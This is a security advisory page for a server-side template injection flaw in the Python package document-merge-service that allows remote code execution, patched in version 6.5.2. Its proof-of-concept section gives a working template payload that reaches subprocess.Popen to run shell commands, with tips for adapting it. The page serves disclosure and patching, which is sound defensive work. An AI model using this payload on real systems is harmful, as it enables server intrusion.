document-merge-service vulnerable to Remote Code Execution via Server-Side Template InjectionGHSA-v5gf-r78h-55q6
HIGHFix: adfinis/document-merge-service@a1edd39GHSA-v5gf-r78h-55q6 is a high-severity (CVSS 7.2) CWE-1336 vulnerability in document-merge-service. A fix is available for document-merge-service — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-v5gf-r78h-55q6.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
document-merge-serviceReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Impact
What kind of vulnerability is it? Who is impacted?
A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.
Patches
Has the problem been patched? What versions should users upgrade to?
It has been patched in v6.5.2
References
Are there any links users can visit to find out more?
POC
Add the following to a document, upload and render it:
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %}
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}
whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}
uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}
{% endif %}
The index might be different, so to debug this first render a template with {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }} and then get the index of subprocess.Popen and replace 202 with that.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | document-merge-service | all versions | 6.5.2pip install --upgrade 'document-merge-service==6.5.2' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for document-merge-service, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update document-merge-service to 6.5.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v5gf-r78h-55q6 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is GHSA-v5gf-r78h-55q6 in your dependencies?
Find it across PyPI, including transitive dependencies.